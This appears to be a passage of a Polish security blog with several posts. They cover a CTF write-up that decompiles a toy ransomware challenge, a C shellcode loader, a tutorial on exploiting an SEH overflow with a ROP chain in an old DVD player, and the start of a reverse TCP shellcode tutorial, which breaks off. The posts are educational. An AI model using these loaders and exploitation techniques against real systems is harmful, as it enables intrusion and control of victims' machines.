W archiwum zlib out00-PYZ.pyz zawarte są obiekty code modułów pythona. Aby umożliwić ich późniejszą dekompilacje dostępnymi programami doklejamy do każdego obiektu code nagłówek pliku .pyc (4 bajty wartość magiczna zależna od wersji języka python + 4 bajty timestamp) oraz zapisujemy wszystkie takie pliki .pyc na dysk, w celu dalszej dekompilacji i analizy.

Napisany przeze mnie skrypt pythona lepiej pomoże nam zrozumieć jak ugryźć całą tą strukturę plików. Skrypt pisany typowo pod ctf 😂

#!/usr/bin/python

import struct
import os
import sys
import zlib
import marshal 
import pprint
import uncompyle6

class TOCEntry :
  def __init__ (self,pos,lenC,lenU,cflag,typcd,name):
    self.pos = pos
    self.lenC = lenC
    self.lenU = lenU
    self.cflag = cflag
    self.typcd = typcd
    self.name = name

class CArchive :

  magic = "MEI\x0c\x0b\x0a\x0b\x0e"
  lenPackage = 0
  TOC = 0
  TOClen = 0
  pyvers = 0
  pylibname = ""
  CArchiveOffset = 0
  TOCEntries = []

  def __init__ (self,filename):
    self.filename = filename

  def parseArchiveHeaders (self):
    sizeHeader = 88
    # searching for CArchive headers
    self.fd = open (self.filename,"rb")
    self.filesize = os.fstat(self.fd.fileno()).st_size
    print "[*] exe file - {0} bytes.".format(hex(self.filesize))
    self.fd.seek (self.filesize - sizeHeader,0) # 0 means from start
    magicToCheck = self.fd.read (8)
    if (magicToCheck != self.magic):
      print "It is not valid CArchive Cookie, magic values do not match each other"
      sys.exit (-2)
    (self.lenPackage,self.TOC,self.TOClen,self.pyvers,self.pylibname) = struct.unpack("!iiii64s",self.fd.read(sizeHeader - 8))
    print "[*] Size of CArchive : {0}".format(hex(self.lenPackage))
    self.CArchiveOffset = self.filesize - self.lenPackage # CArchive is overlapped at the end of exe file
    print "[*] Offset of CArchive in exe file : {0}".format(hex(self.CArchiveOffset))

    if (self.pyvers != 10 * sys.version_info.major + sys.version_info.minor):
      print "Package was built upon other version of python than you are using right now, process may fail coz marshal"

  def parseTOCHeaders (self):
    self.fd.seek(self.CArchiveOffset + self.TOC,0)
    position = 0
    while (position < self.TOClen):
      size = struct.unpack("!i",self.fd.read(4))[0]
      sizeOfName = size - 18 # 18 is length of other variables in that struct
      arr = struct.unpack("!iiiBc",self.fd.read(size-4-sizeOfName))
      s = struct.unpack("{0}s".format(sizeOfName),self.fd.read(sizeOfName))[0]
      s = s.rstrip ("\0")
      print "[*] Found file {0} type : {1}".format(s,arr[4])
      entry = TOCEntry(arr[0],arr[1],arr[2],arr[3],arr[4],s)
      position = position + size
      self.TOCEntries.append(entry)

  def extractFiles (self):
    self.fd.seek(self.CArchiveOffset,0)
    for i in self.TOCEntries:
      data = ""
      if (i.cflag == 1):
        data = zlib.decompress (self.fd.read(i.lenC))
      else :
        data = self.fd.read(i.lenU)
      if (i.typcd == "z"):
        self.extractZlibArchive(data,i.name)
      else :
        f = open(i.name,"wb")
        f.write(data)


  def extractZlibArchive (self,data,name):
    newpath = os.getcwd() + "/" + name 
    if not os.path.exists(newpath):
      os.makedirs(newpath)
    os.chdir(newpath)

    if (data[:4] != "PYZ\x00"):
      print "[!] Magic value does not match PYZ\\x00"

    toc_off = struct.unpack ("!I", data[8:12])[0]

    # NEVER UNMARSHAL DATA FROM UNTRUSTED SOURCE, that's just ctf task

    # (name, (type , offset, size))

    arr = marshal.loads(data[toc_off:])
    for i in arr:
      f = open (i[0]+".pyc","wb")
      type = i[1][0]
      offset = i[1][1]
      size = i[1][2]
      name = i[0]
      d = zlib.decompress(data[offset:offset+size])
      f.write(data[4:8]) # adding magic value for .pyc file
      f.write("\x00\x00\x00\x00") # adding timestamp, nevermind 1970
      f.write(d) # decompressed data
      f.close()

def main():
  if (len(sys.argv) < 2):
    print "[!] Usage : ./unpack.py <exe file> "
    sys.exit(0xffffffff)
  archive = CArchive(sys.argv[1])
  archive.parseArchiveHeaders()
  archive.parseTOCHeaders()
  archive.extractFiles()

if __name__ == "__main__":
  main()

Wypakowywując wszystkie pliki wraz z out00-PYZ.pyz otrzymujemy:

Interesujący jest dla nas plik entry, który jest głównym obiektem code naszego programu.

Ja z początku otworzyłem go hexedytorem oraz zobaczyłem „import cobra”, więc zajrzałem do wyeksportowanego ZlibArchive w celu zobaczenia czy takowy istnieje. Gdy go znalazłem skorzystałem z narzędzia uncompyle6 aby przetworzyć ten plik na zwykły kod pythona. W tym momencie naszym oczom ukazuje się zobfuskowany kod pythona (prawdopodobnie przez pyobfuscate)

# uncompyle6 version 3.2.3
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.15 (default, Jun 21 2018, 01:24:29)
# [GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
# Embedded file name: cobra.py
import os, base64
if 0:
    i11iIiiIii
OO0o = ("\n       ---_ ......._-_--.\n      (|\\ /      / /| \\  \\\n      /  /     .'  -=-'   `.\n     /  /    .'             )\n   _/  /   .'        _.)   /\n  / o   o        _.-' /  .'\n  \\          _.-'    / .'*|\n   \\______.-'//    .'.' \\*|\n    \\|  \\ | //   .'.' _ |*|\n     `   \\|//  .'.'_ _ _|*|\n      .  .// .'.' | _ _ \\*|\n      \\`-|\\_/ /    \\ _ _ \\*\\\n       `/'\\__/      \\ _ _ \\*\\\n      /^|            \\ _ _ \\*\n     '  `             \\ _ _ \\      ASH (+VK)\n                       \\_\n\n\n                        YOUR FILES ARE\n                   E  N  C  R  Y  P  T  E  D\n                     by >>>CobraRansom<<<\n\n> But don't worry - your data are secure now and totally safe!\n> If you want to decrypt your files, you need to send an e-mail\n> with your user id to [[[ cobrarans0m@asdf.pl ]]]\n\nUserID: {}\n\n> We'll respond to you in 72 hours with payment link.\n> Don't close that window, until you get a key! Good luck! )))\n\n").format(base64.b64encode(os.path.abspath(__name__)))
if 0:
    Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000o
if 0:
    IiII1IiiIiI1 / iIiiiI1IiI1I1

def o0OoOoOO00(o0, eee):
    I11i, O0O, Oo = list(range(256)), 0, []
    if 0:
        o0 * i1 * ii1IiI1i % OOooOOo / I11iIi1I / IiiIII111iI
    for IiII in range(256):
        O0O = (O0O + I11i[IiII] + ord(eee[IiII % len(eee)])) % 256
        I11i[IiII], I11i[O0O] = I11i[O0O], I11i[IiII]
        if 0:
            Ii11111i * iiI1i1

    IiII = O0O = 0
    for i1I1ii1II1iII in o0:
        IiII = (IiII + 1) % 256
        O0O = (O0O + I11i[IiII]) % 256
        I11i[IiII], I11i[O0O] = I11i[O0O], I11i[IiII]
        Oo.append(chr(ord(i1I1ii1II1iII) ^ I11i[(I11i[IiII] + I11i[O0O]) % 256]))
        if 0:
            oO0o

    return ('').join(Oo)
    if 0:
        OOO0o0o / o0oO0 + i111I * oO0o.I11iIi1I % i111I
    if 0:
        oO0o


def IiiiIiI1iIiI1():
    global KEY
    KEY = raw_input('Key: ')
    return KEY
    if 0:
        o0


print OO0o
if 0:
    iiI1i1
while IiiiIiI1iIiI1() != o0OoOoOO00('\xa5"\xe8\xbc\x83\x1d\xca\xc4', 'cobracobra'):
    print '>>> WRONG <<<'
    if 0:
        OOooOOo % o0

for i1I1Iiii1111 in filter(lambda i11: i11.endswith('.cobra'), os.listdir('.')):
    print ('[*] Decrypting {} -> {}').format(i1I1Iiii1111, i1I1Iiii1111[:-6])
    with open(i1I1Iiii1111, 'rb') as (I11):
        Oo0o0000o0o0 = I11.read()
    Oo0o0000o0o0 = o0OoOoOO00(Oo0o0000o0o0, KEY)
    with open(i1I1Iiii1111[:-6], 'wb') as (I11):
        I11.write(Oo0o0000o0o0)
    if 0:
        i1 % IiII1IiiIiI1

print 'Thanks for payment :3’

Który przekonwertowałem do nieco bardziej czytelnej postaci

#!/usr/bin/python
import os, base64


#hello = ("\n       ---_ ......._-_--.\n      (|\\ /      / /| \\  \\\n      /  /     .'  -=-'   `.\n     /  /    .'             )\n   _/  /   .'        _.)   /\n  / o   o        _.-' /  .'\n  \\          _.-'    / .'*|\n   \\______.-'//    .'.' \\*|\n    \\|  \\ | //   .'.' _ |*|\n     `   \\|//  .'.'_ _ _|*|\n      .  .// .'.' | _ _ \\*|\n      \\`-|\\_/ /    \\ _ _ \\*\\\n       `/'\\__/      \\ _ _ \\*\\\n      /^|            \\ _ _ \\*\n     '  `             \\ _ _ \\      ASH (+VK)\n                       \\_\n\n\n                        YOUR FILES ARE\n                   E  N  C  R  Y  P  T  E  D\n                     by >>>CobraRansom<<<\n\n> But don't worry - your data are secure now and totally safe!\n> If you want to decrypt your files, you need to send an e-mail\n> with your user id to [[[ cobrarans0m@asdf.pl ]]]\n\nUserID: {}\n\n> We'll respond to you in 72 hours with payment link.\n> Don't close that window, until you get a key! Good luck! )))\n\n").format(base64.b64encode(os.path.abspath(__name__)))

def crypt(o0, eee):
    bytes, O0O, arr = list(range(256)), 0, []

    for i in range(256):
        O0O = (O0O + bytes[i] + ord(eee[i % len(eee)] )) % 256
        bytes[i], bytes[O0O] = bytes[O0O], bytes[i]


    i = 0
    O0O = 0
    for i1I1ii1II1iII in o0:
        i = (i + 1) % 256
        O0O = (O0O + bytes[i]) % 256
        bytes[i], bytes[O0O] = bytes[O0O], bytes[i]
        arr.append(chr(ord(i1I1ii1II1iII) ^ bytes[(bytes[i] + bytes[O0O]) % 256]))
        if 0:
            oO0o

    print ‚’.join(arr)

    return ('').join(arr)
 
   # Here the key is showing up 

def get_key():
    global KEY
    KEY = raw_input('Key: ')
    return KEY


#print hello

while get_key() != crypt('\xa5"\xe8\xbc\x83\x1d\xca\xc4', 'cobracobra'):
    print '>>> WRONG <<<'

# no need to make it readable, we know it's decrypting file in current directory

for i1I1Iiii1111 in filter(lambda i11: i11.endswith('.cobra'), os.listdir('.')):
    print ('[*] Decrypting {} -> {}').format(i1I1Iiii1111, i1I1Iiii1111[:-6])
    with open(i1I1Iiii1111, 'rb') as (I11):
        Oo0o0000o0o0 = I11.read()
    Oo0o0000o0o0 = o0OoOoOO00(Oo0o0000o0o0, KEY)
    with open(i1I1Iiii1111[:-6], 'wb') as (I11):
        I11.write(Oo0o0000o0o0)

print 'Thanks for payment :3’

Nazwana przeze mnie funkcja „crypt” zwraca zawsze taki sam klucz, który następnie jest porównywany z tym co wpisaliśmy. Zwyczajnie wypisujemy klucz poprzez linijkę „print ‚’.join(arr)”.

Uruchamiamy cobra.exe, wpisujemy nasz nowo poznany klucz oraz otrzymujemy odszyfrowany plik .pdf z flagą.

No i super ! Rozwiązaliśmy zadanie za 300 pkt ! Przechytrzyliśmy ransomware :)

Program do testowania shellcode (Windows x86-32)

2017-08-18T00:17:32+02:00

W ostatnim poście pisałem o tym jak napisać shellcode na Windowsa (32 bitowego). Aby sprawdzić nasz kod posłużyłem się programem asmloader autorstwa Gynvaela Coldwinda, został on napisany aby pomóc początkującym w nauce assembly (x86). Spróbujmy napisać taki program samemu, aby dopełnić dzieło. Więc co taki program będzie robić ? Pomysł jest prosty :

alokacja pamięci (wraz z flagą PAGE_EXECUTE_READWRITE, która m.in. ustawi atrybut wykonywalności strony pamięci w której znajduje się nasz zaalokowany obszar)
otwarcie pliku z naszym shellcodem oraz skopiowanie go do wcześniej zaalokowanej pamięci.
skok programu w nasz zaalokowany obszar.

#include <windows.h>
#include <stdio.h>
int main (int argc, char ** argv)
{
  if (argc < 2)
  {
    puts ("Usage : runShellcode.exe <shellcode.bin>");
    return -1;
  }
  FILE * f = fopen (argv[1],"rb");
  fseek (f,0,SEEK_END);
  int size = ftell (f);
  fseek (f,0,SEEK_SET);
  void * buf = VirtualAlloc (NULL,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  SetConsoleTextAttribute (GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE | FOREGROUND_GREEN); // Ustaw kolor tekstu na ~ (0,180,180) (RGB)
  printf ("[-] Code loaded at 0x%.08x (%d bytes)",buf,size);
  SetConsoleTextAttribute (GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED); // Ustaw kolor na standardowy
  fread (buf,1,0x1000,f);
  void (*func)(void) = (void(*)(void))buf;
  func();
  return 0;
}

Flaga MEM_RESERVE oznacza że system rezerwuje dany zakres pamięci bez alokacji jej (Można zaalokować nawet 8 TB na x64 ale ta pamięć nie jest „podpięta” do pamięci fizycznej (lub pliku stronicowania)). W użyciu wraz z flagą (poprzez bitowy operator alternatywy, (tak zazwyczaj się łączy flagi)) MEM_COMMIT pozwala na operowanie tą pamięcią. Ciekawostka : wszystkie funkcje alokujące typu „malloc” czy new [] z C++ (który i tak wykonuje malloc 😜 ) ostatecznie prowadzą do wykonania VirtualAlloc.

Następnie czytamy funkcją fread z pliku do naszej zaalokowanej pamięci. Następnie przypisujemy adres zaalokowanej pamięci rzutowanej na wskaźnik na funkcję do wskaźnika na funkcję którą będziemy mogli operować. Ostatecznie wykonujemy tą funkcje. Dla systemów *nix’owych (np. Linux czy Mac OS) kod wyglądałby następująco :

#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
int main (int argc, char ** argv)
{
        FILE * f = fopen (argv[1],"rb"); // otwieramy plik binarnie
    if (f == NULL)
    {
      printf ("Nie mozna otworzyc pliku \n");
      return -1;
    }
    fseek (f,0,SEEK_END); // ustawiamy sie na koncu pliku aby sprawdzic jego rozmiar
    int size = ftell(f); // sprawdzamy dlugosc shellcode
    fseek (f,0,SEEK_SET); // wracamy na poczatek pliku
    void * buf = mmap (NULL,0x1000,PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE,fileno(f),0); // korzystamy z analogicznej funkcji do VirtualAlloc, nadajemy alokowanej pamieci atrybut wykonywalnosci, oraz sama funkcja mmap „mapuje” zawartosc pliku ktory przeczytalismy do pamieci
    if (buf == MAP_FAILED)
    {
      printf("Nie mozna zaalokowac pamieci\n");
      return -2;
    }

    printf ("\n\033[22;36mCode loaded at 0x%.08x (%d bytes)\033[0m\n\n”,buf,size); //"
        void (*pshellcode)(void) = (void(*)(void))buf;
        pshellcode();
        return 0;
}

Nie opisałem na jakiej zasadzie dodaje niestandardowy kolor w terminalu, ale myślę że to dobry temat na kolejny wpis 😃 shiftleft.bin to krótki kod assembly z mojego innego eksperymentu, który można traktować jako funkcje która przesuwa bitowo o RSI (argument drugi) argument pierwszy (RDI). Z ABI (Application Binary Interface) System V (z którego korzystają systemy *nix’owe) wynika że argumenty funkcji są przekazywane przez rejestry (a potem na stosie) w następującej kolejności : RDI, RSI, RDX, RCX, R8, R9.

[bits 64]
mov rcx,rsi
shl rdi,cl
mov rax,rdi
ret

Miłego haczenia ! 🤪

Omijaj zabezpieczenia programów niczym ninja! (DEP/ASLR/Stack Canaries). Exploitacja przykładowego programu na Windows 10.

2017-08-13T04:45:21+02:00

Każdy z nas korzysta z komputera, uruchamia programy czy je tworzy. W dzisiejszym świecie procesory wykonują miliardy operacji na sekundę, jednak jak to porównać do pojedynczego kliknięcia w celu uruchomienia programu? Aby odpowiedzieć na to pytanie należy zagłębić się w działanie systemu operacyjnego i zrozumieć jak działa od środka. Każde uruchomienie programu powoduje załadowanie go do pamięci, a jego instrukcje (w postaci opcode’ów) są dostarczane binarnie do procesora, który je wykonuje bez żadnego „zastanowienia”. A co jeżeli podstawimy procesorowi nasze niecnie spreparowane instrukcje?

Procesory działają automatycznie. Nie słyszałem aby protestowały na poziomie parsowania instrukcji. Jest masa technik i klas błędów, które pozwalają na wykonanie kodu w kontekście obcej aplikacji m.in : buffer overflow (przepełnienie danych na stosie czy stercie). Powstają jednak coraz nowsze zabezpieczenia, które w znaczącym stopniu to utrudniają:

DEP (Data Execution Prevention, od Windowsa XP SP2, Mac OS X 10.4.4, a w Linuxie od wersji 2.6.8 jądra). Można ominąć jego działanie poprzez ROP (Return Oriented Programming) wykonując VirtualProtect czy VirtualAlloc na stronie pamięci, gdzie leży nasz shellcode.
ASLR (Address Space Layout Randomization, od Windows Visty, Mac OS X 10.5, wersja 2.6.12 jądra linuxa). Sposób ominięcia tego zabezpieczenia zależy ściśle od naszej sytuacji. Jeżeli w kontekście naszego procesu znajdują się biblioteki, które są z jakiś przyczyn ładowane pod stały adres, możemy to łatwo wykorzystać do stworzenia łańcucha ROP. Innym pomysłem są techniki heap spraying oraz nop sled, czyli zapełnienie pamięci ogromną ilością opcodów 0x90 (nop) przeplatanymi naszym shellcodem. Technikę tą możemy zastosować gdy mamy informacje o jakimś wskaźniku czy pamięci procesu.
Stack Canaries oraz zmiana kolejności buforów na stosie (każda funkcja, która prawdopodobnie jest podatna na stack buffer overflow otrzymuje w swojej ramce stosu pseudolosową wartość na jej najwyższym adresie, a następnie przed wyjściem z funkcji jest sprawdzana, przez co niemożliwe jest nadpisanie adresu powrotu z funkcji, czyli nie mamy możliwości sterowaniem flow programu) Można ominąć nadpisaniem adresu obsługi wyjątków na stosie i spowodowania rzucenia wyjątku przez program.
SEHOP (Structured Exception Handler Overwrite Protection) czy „SafeSEH” zabezpiecza przed nadpisaniem adresów obsługi wyjątków, co uniemożliwia aby wyjątek mógł być obsłużony przez złośliwą funkcję. SEH to sposób obsługi wyjątków wyłącznie dla Windowsa. To zabezpieczenie chroni tylko 32 bitowe aplikacje, ze względu na to, że 64 bitowe aplikacje wszystkie informacje dotyczące wyjątków mają dodawane do nagłówka pliku PE przez kompilator.

Jednak czy te zabezpieczenia można obejść w tak prosty sposób jak napisałem wyżej? Jeżeli nasza binarka jest mała; jest w niej mało kodu, a cały layout pamięci jest losowy oraz w tym samym czasie DEP jest włączony to nasze szanse spadają niemalże do zera. Ewentualnie jeżeli atak przeprowadzany jest lokalnie można spróbować odgadnąć adresy załadowanych bibliotek metodą brute-force, dla 64 bitowej wersji Windowsa wraz z HiASLR jest to bardzo utrudnione poprzez bardzo dużą możliwą ilość adresów bazowych. Entropia adresów zależy m.in od tego czy jest to obraz .exe (8 bądź 17 bitów entropii) czy .dll (14 bądź 19 bitów entropii), oraz od ich adresów bazowych (powyżej 4 GB entropia jest zwiększa). Czy sama wersja systemu operacyjnego pozwala nam być spokojnym co do bezpieczeństwa aplikacji ? Aby lepiej zrozumieć ten temat spróbujmy wykorzystać stack buffer overflow w starej aplikacji DVD Playera (z 2009 roku) na w pełni zaktualizowanym Windowsie 10.0.15063 (x86-64) link -> audconv.exe

Podczas otwierania playlisty w formacie .pls, jej zawartość jest wrzucana na stos (sic!) oraz nie jest sprawdzany rozmiar pliku. Przyjrzyjmy się layoucie pamięci:

Można zauważyć brak ASLR oraz SafeSEH w bibliotece audconv.dll, wykorzystywaną do stworzenia rop chain (aby ominąć DEP), który z kolei wywoła VirtualAlloc na stosie aby zrobić ten fragment pamięci wykonywalnym. Zacznijmy od zlokalizowania ciekawych offsetów na stosie. Stwórzmy wzór o długości 10 000 bajtów i zapiszmy go do pliku .pls, oraz sprawdźmy zachowanie programu.

Okazuje się, że nadpisaliśmy adres obsługi wyjątków (SEH) na stosie, a program właśnie rzucił wyjątek.

Sprawdźmy w której części naszego wzoru kontrolujemy ten adres oraz go nadpiszmy, lecz najpierw musimy przesunąć nasz wskaźnik stosu wyżej aby wskazywał na nasze dane wejściowe. Znajdźmy odpowiedni gadget typu:

add esp, wartosc > 0x500; ret

w pliku audconv.exe czy audconv.dll (które mają ASLR wyłączone). Zaprzęgnijmy do tego komputer i napiszmy prosty skrypt python’a 2.7, który wyszuka nam wszystkie gadgety (dla 32 bitowych plików wykonywalnych Windowsa). Do deasemblacji użyłem biblioteki Distorm.

import sys
from distorm3 import Decode, Decode32Bits
import struct
if len(sys.argv) < 2:
  print "Usage ./disasm.py file.exe|file.dll"
  sys.exit()
buf = open(sys.argv[1],'rb').read()
peheader = struct.unpack("I",buf[0x3C:0x40])[0]
f1 = peheader+0x10c
t1 = peheader+0x110
f2 = peheader+0x1c
t2 = peheader+0x20
f3 = peheader+0x104
t3 = peheader+0x108
codestart = struct.unpack("I",buf[f1:t1])[0]
sizeofcode = struct.unpack("I",buf[f2:t2])[0]
rva = struct.unpack("I",buf[f3:t3])[0]
print "[-] Code starts at %.08x in file" % (codestart)
print "[-] Size of code %.08x" % (sizeofcode)
print "[-] RVA of .text section %.08x" % (rva)
print "[*] Generating code chunks...\n"
dec = Decode (rva,buf[codestart:codestart+sizeofcode],Decode32Bits)
i = 0
for i in range(len(dec)):
  if (dec[i][2] == "RET"):
      for j in dec[i-5:i+1]:
          print "0x%08x (%02x) %-20s %s" % (j[0], j[1], j[3], j[2])
      print "\n"

Na adresie 0x00002d01 (relatywnym do Image Base) w bibliotece audconv.dll znajduje się gadget

add esp, 0x10e4
ret

Teraz możemy budować dalej rop chain. Naszym zadaniem jest teraz wykonanie VirtualAlloc (które aktualnie jest importowane w kontekście tej aplikacji) na stronie pamięci stosu. Peter Van Eeckhoutte napisał skrypt mona.py do Immunity Debugger wykonujący tą prace za nas. Wpiszmy więc w konsolę debuggera „!mona rop” a dostaniemy łańcuch, którego potrzebujemy.

Ten łańcuch wykorzystuje, że w IAT (Import Address Table) jest adres VirtualAlloc oraz przygotowuje parametry na stosie (PAGE_EXECUTE_READWRITE - 0x40, MEM_COMMIT - 0x1000, adres stosu, gdzie znajduje się nasz shellcode oraz ilość pamięci do zmiany (mimo argumentu, który mówi o 1 bajcie, system przydzieli nowe prawa całej stronie pamięci (4096 bajtów), gdyż wszystkie alokacje są wyrównywane do wielkości strony pamięci)).

Jedyne co nam pozostało to wykonać nasz shellcode. Możemy pobrać go z exploit-db.com lub zagłębić się w środowisko Windowsa i napisać własny. W kodzie nie było zabezpieczenia w postaci stack canaries, jednak i tak byśmy je ominęli za pomocą nadpisania SEH. Ja zdecydowałem się, aby wykonać MessageBox z napisem DONE.

Cały kod źródłowy dostępny [tutaj]

Mając najnowszy system operacyjny nadal jest możliwość, że staniemy się ofiarą błędu programu i nawet zaawansowane techniki jego obrony nic nam nie pomogą. Jako developer należy zwrócić uwagę na domyślne ustawienia bezpieczeństwa kompilatora, którego używamy.

Sprawdźmy, które zabezpieczenia są obecne w prostym podatnym programie „test.exe” skompilowanym przez gcc 7.1.0 („gcc test.c -o test.exe”)

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main (int argc,char ** argv)
{
    if (argc != 2)
    {
        puts("Usage: foo <password>");
        return -1;
    }
    size_t s = strlen(argv[1]);
    char buf [0x10];
    memcpy (buf,argv[1],s); 
    return 0;
}

Co można zauważyć: ASLR jest włączony dla bibliotek systemowych (adresy losowane są podczas startu systemu), jednak sama aplikacja jest ładowana pod adres stały. DEP z uwagi na swoją specyfikę oraz bez względu na kompilator, również jest obecny w kontekście procesu. Jednak stack canaries już nie są domyślnie umieszczane w kodzie (można to uzyskać poprzez przełącznik -fstack-protector); przed wyjściem z funkcji main() nie jest sprawdzana żadna wartość ze stosu. Aby zabezpieczyć naszą aplikacje możemy dodać następujące opcje do linkera:

dynamicbase (ustawia w polu DllCharacteristics w nagłówku pliku PE flagę, że ten plik jest aslr-aware)
nxcompat (nazwa pochodzi od No Execute Compatible, domyślnie Windows włącza DEP tylko dla takich plików wykonywalnych, które mają tę flagę)
high-entropy-va (jeżeli nasz target to x86-64 możemy ustawić wyższą entropie adresów losowanych przez kernel (HiASLR))
export-all-symbols (dzięki tej opcji program wyeksportuje wszystkie symbole, między innymi te potrzebne dla relokacji, umożliwiając zmianę adresu bazowego)

gcc -Wl,—high-entropy-va,—dynamicbase,—nxcompat,—export-all-symbols test.c -o test.exe

Jak ma się sprawa z kompilatorem Visual Studio (ver. 14.10.25017)?

cl test.c

Jak widać wszystkie opcje, które musieliśmy ręcznie wpisać dla gcc są tutaj obecne domyślnie, stack canaries również. (Na obrazku w prologu funkcji main() ciastko bezpieczeństwa jest ładowane pod najwyższy adres na stosie)

W kompilatorze Microsoftu można również aktywować opcje „Control Flow Guard” (przełącznik /guard:cf), która podczas kompilacji analizuje wszystkie pośrednie wykonania funkcji i dodaje kod sprawdzający poprawność ich wywołań. Można to lepiej zrozumieć za pomocą poniższego pseudokodu.

void foo (CALLBACK_ROUTINE * f)
{
    if (!isValidTarget(f))
    {
         TerminateProcess();
    }
}
f();

Niezależnie od tego jak nowoczesny mamy system operacyjny, stajemy się ofiarą ataków przez nasze złe nawyki lub korzystanie ze starego oprogramowania. Jeżeli chcemy podnieść bezpieczeństwo naszego Windowsa, możemy zainstalować EMET (Enhanced Mitigation Experience Toolkit). Dzięki temu narzędziu opisywany przeze mnie sposób exploitacji DVD Playera nie powiódłby się. Ten program pozwala na łatwe operowanie zabezpieczeniami w naszym systemie. Możemy zabezpieczyć również starsze aplikacje, które nie są skompilowane aby współpracować z nowymi zabezpieczeniami.

Dominik Tamiołło

Reverse TCP shell (Windows x86)

2017-07-24T21:43:55+02:00

Każdy z nas wie że Windows jest najpopularniejszym systemem operacyjnym do zastosowań użytkowych/rozrywkowych. W tym poście będę pisać shellcode na Windowsa 32 bitowego. Jego zadaniem będzie łączenie się do zdalnego serwera oraz wykonywanie zdalnych poleceń; pełna kontrola nad komputerem, czyli „reverse tcp shell”. Jak się do tego zabrać i czego będziemy potrzebować ? Potrzebujemy jakiegoś programu który przetworzy kod assembly na opcode’y, czyli zwyczajnie bajty, które procesor rozumie. Ja do tego celu użyję nasm’a ze względu na jego prostotę oraz obsłuję składni Intela. Oprócz tego może przydać się OllyDbg do eksperymentów z kodem i jego testowaniem. Przyda się również kompilator języka C (ja użyję GCC 7.1.0) Na końcu użyjemy programu asmloader autorstwa Gynvaela Coldwinda. Po co piszemy shellcode ? Shellcode jest to kod assemblera na daną architekturę, jest zazwyczaj kodem PIC (Position Independent Code), czyli nie ma żadnych odwołań do adresów stałych, przez co może być „wstrzyknięty” w kontekst aplikacji oraz z powodzeniem wykonany, co może skutkować przejęciem kontroli nad komputerem. Jak taki kod możemy „wstrzyknąć ” ? Jest na to wiele sposobów, a najprostszym z nich jest buffer overflow (przepełnienie bufora).

buffer overflow

Jeżeli system jest starszy (np. Windows XP) to nie występują tam zabezpieczenia przed wykonaniem kodu na stosie (brak DEP (Data Execution Prevention) ) więc tak jak na obrazku, gdy ciąg znaków „hello” przedłużymy to nadpiszemy zmienne c[12] oraz wskaźnik bar, ale nadpiszemy również wskaźnik ramki stosu EBP, oraz adres powrotu z funkcji (no ale przecież możemy wpisać tam spreparowany przez nas adres na stosie, na którym będzie ulokowany nasz shellcode). Gdy DEP jest wyłączony system operacyjny nie zaprotestuje przed wykonaniem kodu na stosie (obecnie każdy nowoczesny system operacyjny na to nie pozwala). Jeżeli natomiast w systemie jest aktywny DEP to możemy zastosować technikę ROP (Return Oriented Programming), ale to temat na inny post.

Jak więc zabrać się do pisania takiego kodu ? Stwórzmy sobie plik shellcode.asm. Zacznijmy od zaznaczenia dla nasma że będzie to kod 32 bitowy (jeżeli nie zaznaczymy tego, domyślnie myśli że jest to kod 16 bitowy). Napiszmy :

[bits 32]

Jeżeli zajrzymy na stronę exploit-dl.com to znajdziemy tam przykładowe shellcode’y. W wielu z nich możemy znaleźć odwołanie do rejestru segmentowego FS tak jak w przykładach :

load_modules:
	push edi               ; save current offset to hashes
	push 30h
	pop ecx
	mov eax,fs:[ecx]       ; PEB base address
	mov eax,[eax+0ch]      : PEB_LDR_DATA LoaderData
	mov ebp,[eax+1ch]      : LIST_ENTRY InMemoryOrderModuleList

Jest to rejestr segmentowy 16 bitowy w którym zapisany jest adres TEB aktualnie wykonywanego wątku [a dokładnie selektor na GDT (Global Descriptor Table), z której możemy wyciągnąć adres właściwy]

(Screen z OllyDbg z testowego programu)

nasm -f win teb.asm -o teb.o && ld teb.o -o teb.exe

Jak widzimy sam rejestr ma wartość 0x3b, jednak jest to tylko numer deskryptora w GDT, który wskazuje na 0x7ffdf000 (oczywiście ten adres może się u Ciebie różnić ale będzie napewno mniejszy od 0x80000000, i na początku będzie mieć 0x7f). Na offsecie 0x18 znajduje się adres właściwy TEB (druga linijka kodu)] Struktura TEB’u ma masę pól, lecz nas interesować będzie adres PEB (Process Environment Block), który znajduje się na offsecie 0x30.

Napiszmy więc :

mov eax, fs:[0x30]

Struktura PEB wygląda następująco :

mov eax. [eax+0xC]

Zawiera ona praktycznie wszystkie informacje o procesie (informacje w polach Reserved wcale nie są takie tajemnicze jakby się wydawało 😈 ). Pole Ldr to Loader Data czyli „metadane” które zapisał sobie loader plików PE.

https://security.stackexchange.com/questions/24785/where-is-the-pe-loader-in-windows

Znajdują się tam informacje o plikach wykonywalnych które OS również wrzucił w kontekst procesu (oprócz samej aplikacji). Biblioteki które na pewno są załadowane do pamięci to (w kolejności w pamięci) :

Sam plik wykonywalny który uruchomiliśmy (np. calc.exe)
ntdll.dll
kernel32.dll
kernelbase.dll

Na podstawie tych informacji możemy dostać się do wszystkich funkcji które te biblioteki eksportują. Dla nas bardzo ważną funkcją będzie GetProcAddress (kernel32.dll), dzięki której będziemy mogli załadować potrzebne biblioteki, pobrać adresy potrzebnych funkcji, a potem utworzyć socket do komunikacji z naszym serwerem. Pliki .DLL to de facto pliki PE, znając ich strukturę możemy je „sparsować” aby dostać adres naszego wymarzonego GetProcAddress :) A potem pójdzie już z górki.

Na offsecie 0x14 znajduje się „Doubly linked list” (https://pl.wikipedia.org/wiki/Lista) Struktura LIST_ENTRY wygląda tak :

Flink to wskaźnik na pierwszy element listy, Blink wskazuje na ostatni. Więc na offsecie 0x14 jak na obrazku znajduje się Flink, a na 0x18 Blink.

mov eax, [eax+0x14]

Aktualnie w eax mamy adres pierwszego elemenu listy „modułów” załadowanych do pamięci, która to struktura wygląda tak :

